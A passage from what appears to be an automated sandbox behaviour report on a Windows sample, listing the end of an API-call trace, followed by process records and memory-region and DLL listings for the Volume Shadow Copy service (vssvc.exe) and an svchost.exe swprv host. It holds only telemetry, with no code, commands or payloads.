(hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.592] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x210, wParam=0x60002, lParam=0x501e6) returned 0x0 [0034.592] DeleteObject (ho=0x1b0a06f7) returned 1 [0034.592] DestroyWindow (hWnd=0x5018a) returned 1 [0034.592] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.592] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x210, wParam=0x70002, lParam=0x5018a) returned 0x0 [0034.592] DeleteObject (ho=0x4f0a05bc) returned 1 [0034.592] DestroyWindow (hWnd=0x201ea) returned 1 [0034.592] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.593] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x210, wParam=0x80002, lParam=0x201ea) returned 0x0 [0034.593] KillTimer (hWnd=0x0, uIDEvent=0x7f98) returned 1 [0034.593] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0034.595] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.595] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0034.595] DeleteObject (ho=0x14100802) returned 1 [0034.595] DeleteObject (ho=0x2c100826) returned 1 [0034.595] DeleteObject (ho=0x1b1007ca) returned 1 [0034.596] PostQuitMessage (nExitCode=0) [0034.596] GetMessageW (in: lpMsg=0xc80cb2fa48, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc80cb2fa48) returned 0 [0034.612] SetCurrentDirectoryW (lpPathName="C:\\Users\\5JgHKoaOfdp\\Desktop" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 1 [0034.612] SystemParametersInfoW (in: uiAction=0x2001, uiParam=0x0, pvParam=0x30d40, fWinIni=0x2 | out: pvParam=0x30d40) returned 1 [0034.622] mciSendStringW (in: lpstrCommand="close all", lpstrReturnString=0x0, uReturnLength=0x0, hwndCallback=0x0 | out: lpstrReturnString=0x0) returned 0x0 [0034.622] OleUninitialize () [0034.624] DestroyCursor (hCursor=0xb0113) returned 0 [0034.624] ExitProcess (uExitCode=0x0) Process: id = "20" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x57f3d000" os_pid = "0x318" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "16" os_parent_pid = "0x908" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:00057325" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 1494 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1495 start_va = 0xc7a4300000 end_va = 0xc7a430ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c7a4300000" filename = "" Region: id = 1496 start_va = 0xc7a4310000 end_va = 0xc7a4316fff entry_point = 0x0 region_type = private name = "private_0x000000c7a4310000" filename = "" Region: id = 1497 start_va = 0xc7a4320000 end_va = 0xc7a432efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c7a4320000" filename = "" Region: id = 1498 start_va = 0xc7a4330000 end_va = 0xc7a43affff entry_point = 0x0 region_type = private name = "private_0x000000c7a4330000" filename = "" Region: id = 1499 start_va = 0xc7a43b0000 end_va = 0xc7a43b3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c7a43b0000" filename = "" Region: id = 1500 start_va = 0xc7a43c0000 end_va = 0xc7a43c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c7a43c0000" filename = "" Region: id = 1501 start_va = 0xc7a43d0000 end_va = 0xc7a43d1fff entry_point = 0x0 region_type = private name = "private_0x000000c7a43d0000" filename = "" Region: id = 1502 start_va = 0xc7a43e0000 end_va = 0xc7a445dfff entry_point = 0xc7a43e0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1503 start_va = 0xc7a4460000 end_va = 0xc7a4466fff entry_point = 0x0 region_type = private name = "private_0x000000c7a4460000" filename = "" Region: id = 1504 start_va = 0xc7a4470000 end_va = 0xc7a44effff entry_point = 0x0 region_type = private name = "private_0x000000c7a4470000" filename = "" Region: id = 1505 start_va = 0xc7a44f0000 end_va = 0xc7a44f2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c7a44f0000" filename = "" Region: id = 1506 start_va = 0xc7a4500000 end_va = 0xc7a4500fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c7a4500000" filename = "" Region: id = 1507 start_va = 0xc7a4510000 end_va = 0xc7a4520fff entry_point = 0xc7a4510000 region_type = mapped_file name = "vssvc.exe.mui" filename = "\\Windows\\System32\\en-US\\VSSVC.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\vssvc.exe.mui") Region: id = 1508 start_va = 0xc7a4530000 end_va = 0xc7a453ffff entry_point = 0x0 region_type = private name = "private_0x000000c7a4530000" filename = "" Region: id = 1509 start_va = 0xc7a4540000 end_va = 0xc7a45bffff entry_point = 0x0 region_type = private name = "private_0x000000c7a4540000" filename = "" Region: id = 1510 start_va = 0xc7a45c0000 end_va = 0xc7a45c0fff entry_point = 0x0 region_type = private name = "private_0x000000c7a45c0000" filename = "" Region: id = 1511 start_va = 0xc7a45d0000 end_va = 0xc7a46cffff entry_point = 0x0 region_type = private name = "private_0x000000c7a45d0000" filename = "" Region: id = 1512 start_va = 0xc7a46d0000 end_va = 0xc7a4857fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c7a46d0000" filename = "" Region: id = 1513 start_va = 0xc7a4860000 end_va = 0xc7a49e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c7a4860000" filename = "" Region: id = 1514 start_va = 0xc7a49f0000 end_va = 0xc7a4aaffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c7a49f0000" filename = "" Region: id = 1515 start_va = 0xc7a4ab0000 end_va = 0xc7a4ab0fff entry_point = 0x0 region_type = private name = "private_0x000000c7a4ab0000" filename = "" Region: id = 1516 start_va = 0xc7a4ac0000 end_va = 0xc7a4d94fff entry_point = 0xc7a4ac0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1517 start_va = 0xc7a4da0000 end_va = 0xc7a4e1ffff entry_point = 0x0 region_type = private name = "private_0x000000c7a4da0000" filename = "" Region: id = 1518 start_va = 0xc7a4e20000 end_va = 0xc7a4e9ffff entry_point = 0x0 region_type = private name = "private_0x000000c7a4e20000" filename = "" Region: id = 1519 start_va = 0xc7a4ea0000 end_va = 0xc7a4ea0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c7a4ea0000" filename = "" Region: id = 1520 start_va = 0xc7a4eb0000 end_va = 0xc7a4f2ffff entry_point = 0x0 region_type = private name = "private_0x000000c7a4eb0000" filename = "" Region: id = 1521 start_va = 0xc7a4f30000 end_va = 0xc7a4faffff entry_point = 0x0 region_type = private name = "private_0x000000c7a4f30000" filename = "" Region: id = 1522 start_va = 0xc7a4fb0000 end_va = 0xc7a53a9fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c7a4fb0000" filename = "" Region: id = 1523 start_va = 0xc7a53b0000 end_va = 0xc7a53b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c7a53b0000" filename = "" Region: id = 1524 start_va = 0xc7a53c0000 end_va = 0xc7a54bffff entry_point = 0x0 region_type = private name = "private_0x000000c7a53c0000" filename = "" Region: id = 1525 start_va = 0x7ff7d222e000 end_va = 0x7ff7d222ffff entry_point = 0x0 region_type = private name = "private_0x00007ff7d222e000" filename = "" Region: id = 1526 start_va = 0x7ff7d2230000 end_va = 0x7ff7d232ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7d2230000" filename = "" Region: id = 1527 start_va = 0x7ff7d2330000 end_va = 0x7ff7d2352fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7d2330000" filename = "" Region: id = 1528 start_va = 0x7ff7d2353000 end_va = 0x7ff7d2353fff entry_point = 0x0 region_type = private name = "private_0x00007ff7d2353000" filename = "" Region: id = 1529 start_va = 0x7ff7d2354000 end_va = 0x7ff7d2355fff entry_point = 0x0 region_type = private name = "private_0x00007ff7d2354000" filename = "" Region: id = 1530 start_va = 0x7ff7d2356000 end_va = 0x7ff7d2357fff entry_point = 0x0 region_type = private name = "private_0x00007ff7d2356000" filename = "" Region: id = 1531 start_va = 0x7ff7d2358000 end_va = 0x7ff7d2359fff entry_point = 0x0 region_type = private name = "private_0x00007ff7d2358000" filename = "" Region: id = 1532 start_va = 0x7ff7d235a000 end_va = 0x7ff7d235bfff entry_point = 0x0 region_type = private name = "private_0x00007ff7d235a000" filename = "" Region: id = 1533 start_va = 0x7ff7d235c000 end_va = 0x7ff7d235dfff entry_point = 0x0 region_type = private name = "private_0x00007ff7d235c000" filename = "" Region: id = 1534 start_va = 0x7ff7d235e000 end_va = 0x7ff7d235ffff entry_point = 0x0 region_type = private name = "private_0x00007ff7d235e000" filename = "" Region: id = 1535 start_va = 0x7ff7d2560000 end_va = 0x7ff7d26c2fff entry_point = 0x7ff7d2560000 region_type = mapped_file name = "vssvc.exe" filename = "\\Windows\\System32\\VSSVC.exe" (normalized: "c:\\windows\\system32\\vssvc.exe") Region: id = 1536 start_va = 0x7ffe21920000 end_va = 0x7ffe2198afff entry_point = 0x7ffe219210a0 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 1537 start_va = 0x7ffe219b0000 end_va = 0x7ffe219f8fff entry_point = 0x7ffe219b10d0 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 1538 start_va = 0x7ffe21f20000 end_va = 0x7ffe21f35fff entry_point = 0x7ffe21f210a0 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 1539 start_va = 0x7ffe21f40000 end_va = 0x7ffe220bffff entry_point = 0x7ffe21f41070 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 1540 start_va = 0x7ffe255e0000 end_va = 0x7ffe255f4fff entry_point = 0x7ffe255ed564 region_type = mapped_file name = "vss_ps.dll" filename = "\\Windows\\System32\\vss_ps.dll" (normalized: "c:\\windows\\system32\\vss_ps.dll") Region: id = 1541 start_va = 0x7ffe25600000 end_va = 0x7ffe25609fff entry_point = 0x7ffe25600000 region_type = mapped_file name = "fltlib.dll" filename = "\\Windows\\System32\\fltLib.dll" (normalized: "c:\\windows\\system32\\fltlib.dll") Region: id = 1542 start_va = 0x7ffe25610000 end_va = 0x7ffe2561dfff entry_point = 0x7ffe25610000 region_type = mapped_file name = "virtdisk.dll" filename = "\\Windows\\System32\\virtdisk.dll" (normalized: "c:\\windows\\system32\\virtdisk.dll") Region: id = 1543 start_va = 0x7ffe25a80000 end_va = 0x7ffe25a99fff entry_point = 0x7ffe25a90f04 region_type = mapped_file name = "bcd.dll" filename = "\\Windows\\System32\\bcd.dll" (normalized: "c:\\windows\\system32\\bcd.dll") Region: id = 1544 start_va = 0x7ffe25f40000 end_va = 0x7ffe25f56fff entry_point = 0x7ffe25f41030 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 1545 start_va = 0x7ffe25fe0000 end_va = 0x7ffe25ffdfff entry_point = 0x7ffe25fe205c region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 1546 start_va = 0x7ffe26490000 end_va = 0x7ffe26507fff entry_point = 0x7ffe26491420 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 1547 start_va = 0x7ffe265d0000 end_va = 0x7ffe265d8fff entry_point = 0x7ffe265d102c region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 1548 start_va = 0x7ffe26a30000 end_va = 0x7ffe26b93fff entry_point = 0x7ffe26a520f0 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 1549 start_va = 0x7ffe28d70000 end_va = 0x7ffe28d79fff entry_point = 0x7ffe28d71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 1550 start_va = 0x7ffe29130000 end_va = 0x7ffe29177fff entry_point = 0x7ffe2913108c region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 1551 start_va = 0x7ffe29350000 end_va = 0x7ffe29384fff entry_point = 0x7ffe293513d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1552 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1553 start_va = 0x7ffe29760000 end_va = 0x7ffe2977dfff entry_point = 0x7ffe297611c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1554 start_va = 0x7ffe29870000 end_va = 0x7ffe29887fff entry_point = 0x7ffe29874d78 region_type = mapped_file name = "cryptdll.dll" filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll") Region: id = 1555 start_va = 0x7ffe29990000 end_va = 0x7ffe299b5fff entry_point = 0x7ffe29995b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1556 start_va = 0x7ffe29cb0000 end_va = 0x7ffe29d0dfff entry_point = 0x7ffe29ccf6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 1557 start_va = 0x7ffe29e80000 end_va = 0x7ffe29e89fff entry_point = 0x7ffe29e81010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1558 start_va = 0x7ffe2a070000 end_va = 0x7ffe2a17dfff entry_point = 0x7ffe2a0722a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1559 start_va = 0x7ffe2a3b0000 end_va = 0x7ffe2a520fff entry_point = 0x7ffe2a3d5ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1560 start_va = 0x7ffe2a530000 end_va = 0x7ffe2a586fff entry_point = 0x7ffe2a532500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1561 start_va = 0x7ffe2a640000 end_va = 0x7ffe2a778fff entry_point = 0x7ffe2a645034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1562 start_va = 0x7ffe2a780000 end_va = 0x7ffe2a836fff entry_point = 0x7ffe2a781120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1563 start_va = 0x7ffe2a8b0000 end_va = 0x7ffe2a956fff entry_point = 0x7ffe2a8b282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1564 start_va = 0x7ffe2a960000 end_va = 0x7ffe2aaa4fff entry_point = 0x7ffe2a971c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1565 start_va = 0x7ffe2bf40000 end_va = 0x7ffe2c116fff entry_point = 0x7ffe2bf41f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 1566 start_va = 0x7ffe2c120000 end_va = 0x7ffe2c1c3fff entry_point = 0x7ffe2c121170 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1567 start_va = 0x7ffe2c4d0000 end_va = 0x7ffe2c527fff entry_point = 0x7ffe2c4d109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1568 start_va = 0x7ffe2c7b0000 end_va = 0x7ffe2c8e5fff entry_point = 0x7ffe2c7b1150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1569 start_va = 0x7ffe2cab0000 end_va = 0x7ffe2cab8fff entry_point = 0x7ffe2cab1400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1570 start_va = 0x7ffe2cb20000 end_va = 0x7ffe2ccc8fff entry_point = 0x7ffe2cb20000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1571 start_va = 0x7ffe1e220000 end_va = 0x7ffe1e296fff entry_point = 0x7ffe1e220000 region_type = mapped_file name = "catsrvut.dll" filename = "\\Windows\\System32\\catsrvut.dll" (normalized: "c:\\windows\\system32\\catsrvut.dll") Region: id = 1572 start_va = 0x7ffe1e400000 end_va = 0x7ffe1e40cfff entry_point = 0x7ffe1e400000 region_type = mapped_file name = "mfcsubs.dll" filename = "\\Windows\\System32\\mfcsubs.dll" (normalized: "c:\\windows\\system32\\mfcsubs.dll") Region: id = 1573 start_va = 0x7ffe2a590000 end_va = 0x7ffe2a634fff entry_point = 0x7ffe2a591010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Thread: id = 121 os_tid = 0xb24 Thread: id = 122 os_tid = 0xaf8 Thread: id = 123 os_tid = 0xad8 Thread: id = 124 os_tid = 0xabc Thread: id = 125 os_tid = 0x4c0 Thread: id = 126 os_tid = 0x8e0 Thread: id = 127 os_tid = 0x634 Thread: id = 134 os_tid = 0xbc4 Thread: id = 135 os_tid = 0xbe4 Thread: id = 148 os_tid = 0xa70 Process: id = "21" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x86c4000" os_pid = "0xb38" os_integrity_level = "0x4000" os_privileges = "0x60814080" monitor_reason = "rpc_server" parent_id = "20" os_parent_pid = "0x318" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0005773c" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 1584 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1585 start_va = 0xae74700000 end_va = 0xae7470ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ae74700000" filename = "" Region: id = 1586 start_va = 0xae74710000 end_va = 0xae74716fff entry_point = 0x0 region_type = private name = "private_0x000000ae74710000" filename = "" Region: id = 1587 start_va = 0xae74720000 end_va = 0xae7472efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ae74720000" filename = "" Region: id = 1588 start_va = 0xae74730000 end_va = 0xae747affff entry_point = 0x0 region_type = private name = "private_0x000000ae74730000" filename = "" Region: id = 1589 start_va = 0xae747b0000 end_va = 0xae747b3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ae747b0000" filename = "" Region: id = 1590 start_va = 0xae747c0000 end_va = 0xae747c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ae747c0000" filename = "" Region: id = 1591 start_va = 0xae747d0000 end_va = 0xae747d1fff entry_point = 0x0 region_type = private name = "private_0x000000ae747d0000" filename = "" Region: id = 1592 start_va = 0xae747e0000 end_va = 0xae7485dfff entry_point = 0xae747e0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1593 start_va = 0xae74860000 end_va = 0xae74866fff entry_point = 0x0 region_type = private name = "private_0x000000ae74860000" filename = "" Region: id = 1594 start_va = 0xae74870000 end_va = 0xae74872fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ae74870000" filename = "" Region: id = 1595 start_va = 0xae74880000 end_va = 0xae74880fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ae74880000" filename = "" Region: id = 1596 start_va = 0xae74890000 end_va = 0xae74890fff entry_point = 0x0 region_type = private name = "private_0x000000ae74890000" filename = "" Region: id = 1597 start_va = 0xae748a0000 end_va = 0xae748a0fff entry_point = 0x0 region_type = private name = "private_0x000000ae748a0000" filename = "" Region: id = 1598 start_va = 0xae748b0000 end_va = 0xae748b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ae748b0000" filename = "" Region: id = 1599 start_va = 0xae748d0000 end_va = 0xae749cffff entry_point = 0x0 region_type = private name = "private_0x000000ae748d0000" filename = "" Region: id = 1600 start_va = 0xae749d0000 end_va = 0xae74a4ffff entry_point = 0x0 region_type = private name = "private_0x000000ae749d0000" filename = "" Region: id = 1601 start_va = 0xae74a50000 end_va = 0xae74acffff entry_point = 0x0 region_type = private name = "private_0x000000ae74a50000" filename = "" Region: id = 1602 start_va = 0xae74ad0000 end_va = 0xae74da4fff entry_point = 0xae74ad0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1603 start_va = 0xae74db0000 end_va = 0xae74f37fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ae74db0000" filename = "" Region: id = 1604 start_va = 0xae74f50000 end_va = 0xae74f5ffff entry_point = 0x0 region_type = private name = "private_0x000000ae74f50000" filename = "" Region: id = 1605 start_va = 0xae74f60000 end_va = 0xae750e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ae74f60000" filename = "" Region: id = 1606 start_va = 0xae750f0000 end_va = 0xae751affff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ae750f0000" filename = "" Region: id = 1607 start_va = 0xae751b0000 end_va = 0xae755a9fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ae751b0000" filename = "" Region: id = 1608 start_va = 0xae755b0000 end_va = 0xae7562ffff entry_point = 0x0 region_type = private name = "private_0x000000ae755b0000" filename = "" Region: id = 1609 start_va = 0xae75630000 end_va = 0xae756affff entry_point = 0x0 region_type = private name = "private_0x000000ae75630000" filename = "" Region: id = 1610 start_va = 0x7ff7ea6b0000 end_va = 0x7ff7ea7affff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7ea6b0000" filename = "" Region: id = 1611 start_va = 0x7ff7ea7b0000 end_va = 0x7ff7ea7d2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7ea7b0000" filename = "" Region: id = 1612 start_va = 0x7ff7ea7d5000 end_va = 0x7ff7ea7d6fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea7d5000" filename = "" Region: id = 1613 start_va = 0x7ff7ea7d7000 end_va = 0x7ff7ea7d8fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea7d7000" filename = "" Region: id = 1614 start_va = 0x7ff7ea7d9000 end_va = 0x7ff7ea7dafff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea7d9000" filename = "" Region: id = 1615 start_va = 0x7ff7ea7db000 end_va = 0x7ff7ea7dcfff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea7db000" filename = "" Region: id = 1616 start_va = 0x7ff7ea7dd000 end_va = 0x7ff7ea7defff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea7dd000" filename = "" Region: id = 1617 start_va = 0x7ff7ea7df000 end_va = 0x7ff7ea7dffff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea7df000" filename = "" Region: id = 1618 start_va = 0x7ff7eb6b0000 end_va = 0x7ff7eb6bbfff entry_point = 0x7ff7eb6b218c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 1619 start_va = 0x7ffe1c390000 end_va = 0x7ffe1c441fff entry_point = 0x7ffe1c390000 region_type = mapped_file name = "swprv.dll" filename = "\\Windows\\System32\\swprv.dll" (normalized: "c:\\windows\\system32\\swprv.dll") Region: id = 1620 start_va = 0x7ffe21920000 end_va = 0x7ffe2198afff entry_point = 0x7ffe219210a0 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 1621 start_va = 0x7ffe21f20000 end_va = 0x7ffe21f35fff entry_point = 0x7ffe21f210a0 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 1622 start_va = 0x7ffe255e0000 end_va = 0x7ffe255f4fff entry_point = 0x7ffe255ed564 region_type = mapped_file name = "vss_ps.dll" filename = "\\Windows\\System32\\vss_ps.dll" (normalized: "c:\\windows\\system32\\vss_ps.dll") Region: id = 1623 start_va = 0x7ffe25600000 end_va = 0x7ffe25609fff entry_point = 0x7ffe25602e34 region_type = mapped_file name = "fltlib.dll" filename = "\\Windows\\System32\\fltLib.dll" (normalized: "c:\\windows\\system32\\fltlib.dll") Region: id = 1624 start_va = 0x7ffe25610000 end_va = 0x7ffe2561dfff entry_point = 0x7ffe25611704 region_type = mapped_file name = "virtdisk.dll" filename = "\\Windows\\System32\\virtdisk.dll" (normalized: "c:\\windows\\system32\\virtdisk.dll") Region: id = 1625 start_va = 0x7ffe28d70000 end_va = 0x7ffe28d79fff entry_point = 0x7ffe28d71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 1626 start_va = 0x7ffe29350000 end_va = 0x7ffe29384fff entry_point = 0x7ffe293513d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1627 start_va = 0x7ffe29760000 end_va = 0x7ffe2977dfff entry_point = 0x7ffe297611c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1628 start_va = 0x7ffe29870000 end_va = 0x7ffe29887fff entry_point = 0x7ffe29874d78 region_type = mapped_file name = "cryptdll.dll" filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll") Region: id = 1629 start_va = 0x7ffe29990000 end_va = 0x7ffe299b5fff entry_point = 0x7ffe29995b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1630 start_va = 0x7ffe29cb0000 end_va = 0x7ffe29d0dfff entry_point = 0x7ffe29ccf6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 1631 start_va = 